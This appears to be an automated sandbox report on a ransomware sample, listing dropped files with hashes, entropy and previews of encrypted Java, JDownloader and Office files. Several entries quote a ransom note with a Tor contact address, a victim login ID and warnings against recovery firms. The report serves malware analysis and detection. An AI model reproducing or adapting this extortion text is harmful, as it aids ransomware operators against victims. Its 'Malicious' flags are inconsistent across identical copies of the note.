SHA-512:	516FB011654B3BF41E6CDEFC04D1E37F6D926A59067B76FF1A5EB9427162DAAF701479259667980288BAA3D8EEA5C37AC25E25844453398AA42EE4F9CFC81F8E
Malicious:	false
Preview:	$.N=P.^.8....lP.]c..`.=.M...%.i.1#...3..:....-59M..E.+O.>,.Lo........!..L.!This program cannot be run in DOS mode....$........;...U..U..U.M.V..U.M.P...U.M.Q..U..Q..U..V..U..P..U.$......X.'..1t.M...L.Zh\..x..w<#..5jDKf2..z.ex.k$....u+O.>,.LoPE..L...9..d.................D..........Ru.......`....@.................................x.....@.................................9..=+.^.<P...qP..c..`.=.......i.1.....3.{a...-59M..E.+O.>,.Lo.........[..@...............L............................text....B.......D.................. ..`.data...x....`.......H..........i..=..^r...a..P..k..`=<.....%.h.1#...3..:...-u.?....E....>,xMo.....\..............@..@.reloc...............@..............@..B................................................................i..=S.^.<....P..c..`.=.....%.i.1#...3..:....-59M..E.+O.>,.Lo................................................................................................................................i..=S.^.<....P..c..`.=.....%.i.1#...3.

C:\Program Files (x86)\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\internet explorer\SIGNUP\install.ins.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	6.876364667367308
Encrypted:	false
SSDEEP:	12:s7taizpDIapFegTRWjlGnUbmwcm9pAGiJmxUjtUeEbV6zg+YsGwY51vvPnbjBS:s7cvafd+lwIHRpAGi4CjtUeEbV60+Yjy
MD5:	3AD92888EEE0EE608E6D62222ED74041
SHA1:	0EE9F230CDE66040E866545ED00C1162FD3F888A
SHA-256:	A4E64090298F54DEFAA307F2011835D94E765B89E6A0075EF6E7ABE306628EA9
SHA-512:	36882C7EB6692079DF19783AC143476474483979763C4A9590E6034417B46725BC6212E957C48459BC48D848581E300F9458553359DF47C1C70B462AE94A3711
Malicious:	false
Preview:	..........m.S'3E.0.g.n.v.NR.4...;.-......5...4...v]....k.).G.[.3.....q.G'5E.0.g.....cRL4....3.9...C..5#..4...vG.....j.g.....i......2..'jE.0.g..R.q..R.4...)...._..5M..4...v.....=.j.....k.......@.B')E.0.g..<.7.hR84..........~..53..4...vX.....e.6.....J......7..'.E.0.g......hRa4...=.~..<..5,..4...vR....i.g...0.M.......G..'!E.0.g..R.:.KR.4......r.....5M..4...v.....B.j.....w.......3..'mE.0.g.!....RK4....&.....5v..4...vX.....v.g...................0c.c:~.E..........d~pb..D..e.%...k........Nu.xC.....ef../....p2.......+.V...=.$..+#..."..........S.....=\|..w. ...#..#.\.9~....P.L.e.X......Ne.....XD.f.J....+ ).?.). \......,t"..ARcF...............................................................................................29yp10v5m8k.

C:\Program Files (x86)\jDownloader\config\database.script

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	572
Entropy (8bit):	6.941637719916223
Encrypted:	false
SSDEEP:	12:xAU2Zq1Ks2imzv7kTpRTAmwS15va54rzVsMMwGxrpX1MgBS:xA/ZOrmzvyRkBgvW4nVsLxr96OS
MD5:	257A887BB9871B15DAEC3014228E4359
SHA1:	7EC17409CD17D8B9C8888D29040775873D03CAF8
SHA-256:	1074D107C18086B05BAC11F142C0864BF7A5EB28C1E5E10A0A1C95A6D797F7B6
SHA-512:	EBF6A0893138B13D4BF0206C24CFC66AFFD88B765FE69841397FBDD590B3B535D4E0834757654769737C2B44C5A554FB85F02330AA6B28AE185141C13CC9D2AE
Malicious:	false
Preview:	...f....xW.._....8.S.....U.[...%.4..{...28#...a...Y..(........s..i.q@..>......4.D.....J.[.;V."o..p....'M,...>.o.K..9......t..i.q^..,.....m.r.....`9c...).Cv...a...O-V......i+..Z....k....p..&..F......-.3...?e9...3.A{..c..O,/......n(.]..............I.'...V..q.e6...O.....!...G....n..E.-g0..q..k9...6........vl.j.y..%...Y....m....#.../.uD.N^..b.X..CoF,gP..z...B;.....4s....q.......<..(...g...]..c&..2...L.4..`S@.R...V~B.K...T....p7...P.................................................................................................29yp10v5m8k.

C:\Program Files (x86)\jDownloader\config\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\jDownloader\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\java\jre-1.8\COPYRIGHT.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3558
Entropy (8bit):	7.807800309268941
Encrypted:	false
SSDEEP:	96:JmKlVaQfxs/ccUNvcl0dtcZZL9X8wmnCTaWRgCeUWzsyysu3cS:9lVG/cf00PYL9XPOC5R7xyys3S
MD5:	4D994F00F43BC681A84088D33ECED184
SHA1:	C44F8B14AA4D17CDF405CF951EFAD6EC7C37102A
SHA-256:	CB2BFBA37120EB7CA852C9F6E0F754047C5FE90951FD37E581006E70DFA82C3E
SHA-512:	1F1E63B05DC7E67709F6C5AA25D81FFFB9525AAF75119FAC4DE2AC166A406467623450033631F5D7710F2EB43B3771C221AA53B1B0533E320AF2AE109A2D1796
Malicious:	false
Preview:	..fr..,...C.L.H.5~.x........D.....M.\3..C.C...!.{.19.^...DJ3..{.sx..=.....)....f#.>Y.......O...YG.\>....@...<.`.bv.z.]YU=..l.xo..k..........t+./K.....OI...DL.\(....L...'.\|.-y.j...WM0y.a..zd..9.....]....e>.>K......T...AN.......U...-.{.b{.h..%s[7..\|.e+..;.........x%.>K......TOI..NG..?....@...&./.0..s..XSGt..(..a'..$.....]....`?.f......DM...XA.Pz....V...-...0x.{..\B.t..l..o'.."....Q....{?.#Z......H_.......2.....k..:.`./;.o..C_P<_.g..rb..'.........a`.#@.....SPE.._...P....H...;./.'a.m...SM3..m...e.k..........l`.%\.....HQ...BL..<....VA....x.0r.?..CSP'S.m...y..k..........%.>K.....HQ.......z....L...-.!.HC.z.APL&..\|..x+..%.........p%.jG......BII...A..4..i.L...=./.-c.\|..NXGt..(..b+..9.........w)./\......D.I...[..P........h.}.-e.3.CSB'..z..yy.?.........\|".=\.....+t...EK.\3.D..C...:./.07.z..[SGt..k..se..?.......[.fF./B......URI..H..R..D$.S...%.a.bx.?..VYM1S.a..xx..,..........t .jA.......nG..BT..4.....A..-.i..{.h..H.M;..k...x..;.......A............lx'.hl.\..

C:\Program Files (x86)\java\jre-1.8\LICENSE.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	6.209179366823548
Encrypted:	false
SSDEEP:	6:+8CQlC3GEGvCed0IyvHWNvvecfPQ+XfyAUJOEwQ/T0gQaj+Ndll/JQR:+V2BE1PWNvv9fo+aAgb/J+7BS
MD5:	3E56B16F9BF30AB6B613674B10564C31
SHA1:	1BBF29ECA9F66AC706F22F6570A33631ACF709AF
SHA-256:	D8F60889D111CAC1A6C9A381E092F9F6C11F62BCDA3C8B79B58FE196F0BBD2CA
SHA-512:	B0EF275BEBBC25205DE51F39193400A8AA62910B665FD077D54DD6F988C576FE5FB5B0CAA42204AD63D633A0797067A97A91C0FF3D91288356944E6BB12B28AA
Malicious:	false
Preview:	.a2..'x`. ..b!9.!B$.-F[........}.?m<.Z.......a.y.......;.T.....N~.3...... ......d.!.G..l....g......3.....&.......h.....0...J!..k......H...T..Z......}.r..-.Q........26........m..n..n.....<].s...I...N0........SX.*K.u..s.J.`..!.C..r.......................................................................................,.........29yp10v5m8k.

C:\Program Files (x86)\java\jre-1.8\README.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	360
Entropy (8bit):	6.268947818574496
Encrypted:	false
SSDEEP:	6:tszFQ+x7oJRSnleJmGBFR0iPTF9v45dHSFEuRBpiTMFdBCKGb5QR:ts5Q+xkJUR0JvkHSfXpigAKGb5S
MD5:	2A91E252FBC8AB3F34DACAAFB87AE343
SHA1:	0E5A4C349C025DAAB293029AB28A188CDDF62E2E
SHA-256:	A8A9C7101352D1349C8B16F535D90379E7DAE6E9FBC19A9B1D3E8C6FF914C7AD
SHA-512:	AA87EAF33634021963D9743CAF4918852AE2155FED6C6872ACDCEFF650AAEDE9F2B4DF1837440555BA2D9E08E954C68FCA7A1E725F80E9770E208F9637F0DD2A
Malicious:	false
Preview:	b...A.t"YQ#n........L.....q...{...s.E0.. ..."...}.?.....@...ZxZ...S3.......!..u..K..5.........<}.r.,%..c.{..y.P..VY.../....3<.......':.ZF...:..(..cUR.`..A.....b.P....g..r..N.g+....m..".~M.......e.J_].....h3I.i.`d....';A...,.~.....i>d.._.1.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\java\jre-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	504
Entropy (8bit):	6.69215715438918
Encrypted:	false
SSDEEP:	12:AJInmrwo/Q4iGxsy30oFgpuWrSenIXojHYDPVmh2fz2oFv1G/FS:3ln4iGxsKFcuWrZPjSVFfzZFvkFS
MD5:	E958C4B574EE65A5F280BB60F5471F0A
SHA1:	C78121F48B8DADD601769F00FE74519562D81A1B
SHA-256:	1371358AF2E529E6539A4623152503C69FFA011134849348B1515A8D4BDD1F3E
SHA-512:	80668D7A399FB9A25C8409B422390B232D925D66441D7297CFD8795729D878677F0ADD8577D1DA5C26FC0F281AA8701DF0ACAD3F6ACD945F41BBBBB8A393954B
Malicious:	false
Preview:	.nA........U.\|:..;..5...s.[\.....f..H.C+.=F.8......U.0.\|.......=r.......[.I.t1.....5.H.w[.I....c..G.H+.&G.$........v.......nent's license.is available as a separate markdown (.md) file...!....#..v.!s.R.!......&0.FB..''0@.ZZ...Ui...7.z....T}..1..v...^."..3..2.....]N.....y.'......D;...H.=\|Y..:*......Yq. ...E..:T.E..6v`..Wf.<Q.;.~_.e.Ic.!...\.l5....]4....&.^6...m1..[7. _.....#...MJL2~q.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\java\jre-1.8\THIRDPARTYLICENSEREADME.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	504
Entropy (8bit):	6.6369174783265565
Encrypted:	false
SSDEEP:	6:513ROsMWkuFcfP3KW2FUo+/NzhBFogEAuoZrl+NwZ9WfTWUB38Shr6EA3Xa+5pqI:PMLf2FBQNzhvogpugWyUqurFAnaBtXrS
MD5:	44DA50C39C24E4B9BD54E75F57F7CD86
SHA1:	49FD9A09EB8D15FD5BF966235BD9FF1C23882AAD
SHA-256:	D0C9CD5DC3FF3D5712DEB22B5CE4D8486658F76B37451009A7F4E36F7A7666BC
SHA-512:	4AD4F351AC78F370F5664751C1C2698E60D6DDBF18F953C27FDBEA8C5288248477E75DDC5EA3C315BD78FB888D734CAE7F2DA79B7AE6BC484E5DB675CA52A15C
Malicious:	false
Preview:	.1X..^..{Q..._.nC!...}.-..Q..L3R..l.op.>t.E.w6.P.....J...Q.Y.j.-..Y..wG..L.xC....k.......D?N..m.;pV5~.[.p'.....>.]....L.Y.znt's license is .available as a separate markdown (.md) file......X5.`i.../8....b/..j'9..._..0.....gz.qA..C.H...vY.r..gz.....$.....y.....%......h.c=r.3.6.7..C.........G*....}..3.^cK..xr.J$.h6..u&.jea7.+r.Y._^...k.X.``.8....>..1. ..m..tA........(Y>.....n.5.ey...............................................................................................29yp10v5m8k.

C:\Program Files (x86)\java\jre-1.8\Welcome.html.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.543147246281828
Encrypted:	false
SSDEEP:	24:V4rLhNQ8n9Bx3MlZ8gR6icZD6pvmgxnmwS:qPQ8Dw6KpvJnTS
MD5:	2009A49C842AA1FDF8A0CAD778C94325
SHA1:	D5BDC8E55D2CC3F805205E43FCE7C4A33C8E217C
SHA-256:	62D3194DD628C2FD62182C62B1083248C9839834F520B1AD199141387857E8DE
SHA-512:	AB57DEE664A988B79D19E177F1C201550BD7BB1A9F9F27236D67BC6AC818B90767ACBDD38119C6C44C307AC146322E5FB21734D14FB86B2094D6341295122F3A
Malicious:	false
Preview:	..B0r.O..5..\..uW<..p.~.NI)Zt.N.-..'./.N4.....b.7=.k?..(.P.7.T..^8..{?]2....... ....E.MG#.eI..e..0f5/.\|I....@.c.<C.-.5.m.g.,....a1..e_p.....nL%..&..x.Zx.FCV.b.Zs,n.Gy...2...K%._.S.j...W..b."..z/..M..Q.h../.M.PNfruON.b..(r-:.By.....`.).w?u.s...3.....Y+w. FA3.....u[h. .@.G.5BaVU.y...uc..Y}...g."/.v<c.'...e.>...D(p.,X.p.....nP%..:.@.AF3StU..e..0f5/.\|I....@.c.<C.-.5.m.g.,....a1..e_p.B..tYe..n.[.F_%C1QR.n...r3>.]h......"-.97~.n.V.6.....X.w. ..5.....vM-.`.#NJ.xet@_.h..t.a.."....].&{.q70.f.Q.>.W...B-$.jQ.'...../Q:."...MGi]pP[.h..Uc,-..h.....z.0t.l;t.t.I...........$.1<..O..=.)..>.F.WI2=uIY.`..f7'.A<.....a.&{.w4..j.M.4.J...C.w."..8..(..`....).@..Z4XuSY.#...9c..J<....o.+)..o..o.M.a.E....2l.&Y.~....d] ..:.F.I.,VgG..l..bl!.Jn.....,.}..o30.k.M.4......}i.'..9..B..s.B..#.[..C(Q~TW.y..', .[t....o..7.m4..j...g....P2p.eF...@..#.B.>.[.EB2.9E..?..L+c\|../....m.&{.w6?.u.P.(...filiates. All rights reserved..</font>.<p>.</body>.</html>...>...\+.../...1&<....<Q..R..tz......6.c..

C:\Program Files (x86)\java\jre-1.8\release.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	479
Entropy (8bit):	6.706490887639818
Encrypted:	false
SSDEEP:	6:TpHgGzExouxHOKgSAFb50XhaV9W7EGmSYbA9CQrvc91r3/MMlkOlzHguC39V7nWF:TGGzUduMQiXEYZ9Cx1r3/8OlzFCSSS
MD5:	38B8A5C2F2404CA6232728312662CD00
SHA1:	95C43317A99271AB6988E45876888355E35ADA5A
SHA-256:	BD403BDDF547E196D70C072330201D58D6FFF1298428622D5AD2B2FBF2F166E1
SHA-512:	75E568EF4A49AC93AF342C3AADC54E3FBF27761DBFDDA2018AB73EE0B8BFF0BD98F916DCFC5EC50BB7C487917684B24ADE91D8D5DA78346D3829E3C738B7623B
Malicious:	false
Preview:	[..C..fS.7=.....h..=.....oO'.K....k.......[..fPF.2.... F.r..N..Y`.ci.......g...W.....>D......f...b....['..+$.D...w..B..3f7df00d44+".BUILD_TYPE="commercial".......M.<#...z.-\|k..j./.Q....e..w..5t...d..w.x..RO2.l.I.ac.^....s....4.8..v..A........{.S.._.........G..;...'B...#<..cVI...:..."\|.lm".p....eK.9q..h...+..{\|...)..F@..=...1..EVU?.P.../`p8^..;...:/3.r!.j.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\jdownloader\config\database.script.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	572
Entropy (8bit):	6.941637719916223
Encrypted:	false
SSDEEP:	12:xAU2Zq1Ks2imzv7kTpRTAmwS15va54rzVsMMwGxrpX1MgBS:xA/ZOrmzvyRkBgvW4nVsLxr96OS
MD5:	257A887BB9871B15DAEC3014228E4359
SHA1:	7EC17409CD17D8B9C8888D29040775873D03CAF8
SHA-256:	1074D107C18086B05BAC11F142C0864BF7A5EB28C1E5E10A0A1C95A6D797F7B6
SHA-512:	EBF6A0893138B13D4BF0206C24CFC66AFFD88B765FE69841397FBDD590B3B535D4E0834757654769737C2B44C5A554FB85F02330AA6B28AE185141C13CC9D2AE
Malicious:	false
Preview:	...f....xW.._....8.S.....U.[...%.4..{...28#...a...Y..(........s..i.q@..>......4.D.....J.[.;V."o..p....'M,...>.o.K..9......t..i.q^..,.....m.r.....`9c...).Cv...a...O-V......i+..Z....k....p..&..F......-.3...?e9...3.A{..c..O,/......n(.]..............I.'...V..q.e6...O.....!...G....n..E.-g0..q..k9...6........vl.j.y..%...Y....m....#.../.uD.N^..b.X..CoF,gP..z...B;.....4s....q.......<..(...g...]..c&..2...L.4..`S@.R...V~B.K...T....p7...P.................................................................................................29yp10v5m8k.

C:\Program Files (x86)\microsoft office\AppXManifest.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5036098
Entropy (8bit):	6.62122008092402
Encrypted:	false
SSDEEP:	98304:y5WclcLtZPsjkpsb6S1JIQa0g9QGs2PGH9DmZ4ivt68uLkU0:HJzqY0gRz
MD5:	02183DAED6AECFDDF8FC53CEE753C6F1
SHA1:	C4006661B7350069E3D922A129EFF00273CEDAC2
SHA-256:	23EBC38FC9CE28E1F07A8E66DC058972BFBDEF0E28797C42D281C750CF3F54CF
SHA-512:	71A3EDABE18635E8B66D3FFA7276762FBFF0AFA1BD1B45BCC857CE562E032B4134518B0A61A4AD600514A0260CB1005A93E266AA712794128E1D2EE3B369059D
Malicious:	false
Preview:	.%....$.K.rC..._..&Z.^....U...\|....R..B.....k..l.h.S..n .0..8.sleNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.com/.....Ks.[cxL...X..J..V...Q..,...V.I..V..~.E1.'.Q..ku)#T.%.>appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">...<Identity Name="Reserved" Publisher="CN=R......'.K.p_...S.OY......]..-.....C.....D..z.A..w...%(".nC.x.!B-47e8-9721-4577B7F124EA" appv:VersionId="1A8308C7-90D1-4200-B16E-646F163A08E8"/>...<Properties>....<DisplayName>Microsoft Offic.U...V...<yL...P.Se1.2....\..x.....N.=U.@..~.A0./...6mx#>../.UisplayName>....<Description>Reserved</Description>....<Logo>Reserved.jpeg</Logo>....<appv:AppVPackageDescription>No description ......'.D-e]...M.;8Z.P....U...t........z=.D..mFe2...\..wy./..>.de</appv:AppVInProcExt>...</Properties>...<Resources>....<Resource Language="en-us"/>...</Resources>...<Prerequisites>....<OSMinV......}.E~)....T.;.I.R..:c..R.....G..

C:\Program Files (x86)\microsoft office\FileSystemMetadata.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	595
Entropy (8bit):	7.003498803857793
Encrypted:	false
SSDEEP:	12:ETTD+Z+i/51jTbKfvTb2pMKjshWP0ERMHGTjh0fr1jTcFBS:ETTDi+mTbKff0FPRk290fJjTiS
MD5:	5AC33D0E9B321F02BC1A974AECD1B083
SHA1:	8068ED43932868FC06929C5784F8E0B3DF5085CC
SHA-256:	AE1B241232F71D1E392B34A32F215A1EA37152E59003B9F6C1BCC158B20BD3AE
SHA-512:	619F03576B57954D10ED7E83637E4E6F540A7D932A62F682A2832628F5CB3646DE1158FCC5D64EA11E8F757F8CB903340338808CCD7F89D9A2B851CBFBB4ADF4
Malicious:	false
Preview:	ky.m..'.......N..#(....g...#..+..C.+8V.^".l....~.W.....\|..$%.e.."P........Sl ....x....fG.o.J..UF...K'/.y.y..J. ...5.##. ..>..........Qnm....}....$..i.[\.@T....KA.-...1~...F...!...).t..~@..........Cz>...........r.k..CQ...Z5k.3...T,......;/.ctories />..</Metadata>.......%.D....6.:no%i.t....X.v...[..]..v\|..$9...........QaW...u...H.t.i.jr.f>&..#.N.....S....;..!u..\..E<.s..:{B{gu.....a...g..^./%....k..=l.\|....[H".CE.G.....j.[.L..Oy.m...g...i.x).?.n._.:....<+f....T.E.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\microsoft office\Office16\OSPP.HTM.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	174842
Entropy (8bit):	5.489488834363772
Encrypted:	false
SSDEEP:	3072:e6LjV+VHiMlQy/oeWnJeHab5SqRF6qYMOZeWjNJ/eLfCKZYS1J9BEgPBJYBEOlXO:sWxUUp
MD5:	859B95C2277F0FAEC380D96FA4C6DEB5
SHA1:	6BF26EB96748F0E3B5006E5045A47587AC10C6EA
SHA-256:	4C33102346DB3E399109DADB53B8A692952B7527B64034C3E69AA55C539C8DBD
SHA-512:	8F275F29806DD61C87A701CE02E439051A891B2870E795ACDA34BA54859A2C4D05D7387661B4D97C76EB9EBFFE71E86D77A299EA91E75008730E753C36EED201
Malicious:	false
Preview:	............ULx....4..\|.{.!9.8.uZ..^...)W...V~..4.d..e[..SE....o.s.o.f.t.-.c.o.m.:.v.m.l.".....x.m.l.n.s.:.o.=.".u.r.n.:.s.c.h.e.m.a.s.-.m.i.c.r.o.s.o.f.t.-.c.o.m.:.o.f.f.i.c.e.:.o.f.f.i.c.e.WQ..........UGx...g.G\|.{.!j. .sZ..X...7W...V6..4.d..:[..IE....t.-.c.o.m.:.o.f.f.i.c.e.:.w.o.r.d.".....x.m.l.n.s.:.m.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.o.f.f.i.c.e.ZQ...C.V.K.U.x...7..\|.{X!....xZ..\...)W...Vs..4.d..r[...E....w...w.3...o.r.g./.T.R./.R.E.C.-.h.t.m.l.4.0.".>.........<.h.e.a.d.>.....<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.C.o.n.t.e.n.t.-.T.y.p..Q...........UZx....x..\|.{.!p.5.hZ..]...aW...Vs..4.d..-[...E....i.c.o.d.e.".>.....<.m.e.t.a. .n.a.m.e.=.P.r.o.g.I.d. .c.o.n.t.e.n.t.=.W.o.r.d...D.o.c.u.m.e.n.t.>.....<.m.e.t.a. .n.a.m.e.=.G.e..Q...........U.x....4..\|.{.!p.'."Z..Y...(W...Vt..4.dI..[..HE...1.5.".>.....<.m.e.t.a. .n.a.m.e.=.O.r.i.g.i.n.a.t.o.r. .c.o.n.t.e.n.t.=.".M.i.c.r.o.s.o.f.t. .W.o.r.d. .1.5.".>.....<.l.i.n.k. ..Q....N.$....UQx...3..\|.{Z!l.h.eZ......

C:\Program Files (x86)\microsoft office\Office16\OSPP.VBS.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	107326
Entropy (8bit):	6.574666160371128
Encrypted:	false
SSDEEP:	1536:SVFaUMh34lXFarsJAIjJU1a+UxCfDNGARB+SRQ:SjQ14l1JAIjJ8a+UxCrM4q
MD5:	3573CF84EEFE3BAB7A46697BC737A947
SHA1:	123C330B9B98A9E9467799E2358B22C78EF0256F
SHA-256:	A7569586E7C70C3CA1CA75CD019EB2D978CF1B01083209F73D003FD485BF6C1F
SHA-512:	7A592D473EFAEC4838D5277AB7BE640948CBB44D34B735A77A460F094259DC9D987A6897D6E6CC687633588A9D2300DF780A8D1A44D50A01898FB80435B57BB6
Malicious:	false
Preview:	......-D..X..b.O.l....].... .x.[..&+.....!r..;6q./vL....;k.K/////////////////////////////////////////////////////////////////////////////////////..'////////////////////////////////////////...B.k.Q.._..m...1..........%....g......i5...NW..Wn....Wd.D =0..CONST VALUE_ICON_WARNING =16..CONST wshYesNoDialog =4..CONST VAL......\|/..#...k.L.........p.....BF.....O..R.[..Mt....H.h* =64..CONST HKEY_LOCAL_MACHINE =&H80000002..CONST KEY_SET_VALUE =&H0002..CONST KEY...?..u?..5..b...>........p.....x5......:..\.G.j$......<d.D =1..CONST OfficeAppId = "0ff1ce15-a989-479d-af46-f275c6370663"..CONST STR_SYS32PATH ...M.d.^..P......B....F....).~.B...'.......fI..D.G..V......H..D = "\Microsoft Office\Office16\OSPPREARM.EXE"..CONST STR_OSPPREARMPATH_DEBUG = "\Microsoft Office Debug\.....u.".. ...t.0...$......j..V..

C:\Program Files (x86)\microsoft office\Office16\OSPPREARM.EXE.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	162106
Entropy (8bit):	7.334431495390713
Encrypted:	false
SSDEEP:	3072:+Tki2X0AOPSYcFfCVGlXA/oVoNthWclkNO9YtITO131:+l2X0AksvRA6oxWUrTO131
MD5:	29DB3FB3C66BF666E972E84C916D8D03
SHA1:	BC95B4FBBF3FEA4651EF4E4002FB5FE9E11A156E
SHA-256:	C454BD78B28A4C07C7D90F5A71CC3AAE36EAF0D6DEB842B883BA493F962415E4
SHA-512:	60C039A3A14D621C92743568515F1CAB96C759C50834906E648E306C8DAE87B787E50152AD91C305B519A71157B3DC0987845686522E792779CBB319716C0A3D
Malicious:	false
Preview:	F....(VQ..pfjm.c+(....M...../..3..1..."....B.L.?V..B-.. .V..........!..L.!This program cannot be run in DOS mode....$.......X.u.....................\|.......\|.......\|.......\|...?...........D.^..M.Jqo.._..\....,V....jkZ45....12.a[l.>.vY@....K......H...O........................PE..L...-1.e............... ..........................@..........................`............@..............8VQ..pf...c.(....M..&.../..3..1..."....B.f.?VV.B-.. 'M......8...............................@...............,............................text............................... ..`.rdata..?.....WQ..pf...c.(....M....../..W.zP........@.B.?V..B-.. .W......@....reloc.......@......................@..B.....................................................................................(VQ..pf...c.(....M...../..3..1..."....B.L.?V..B-.. 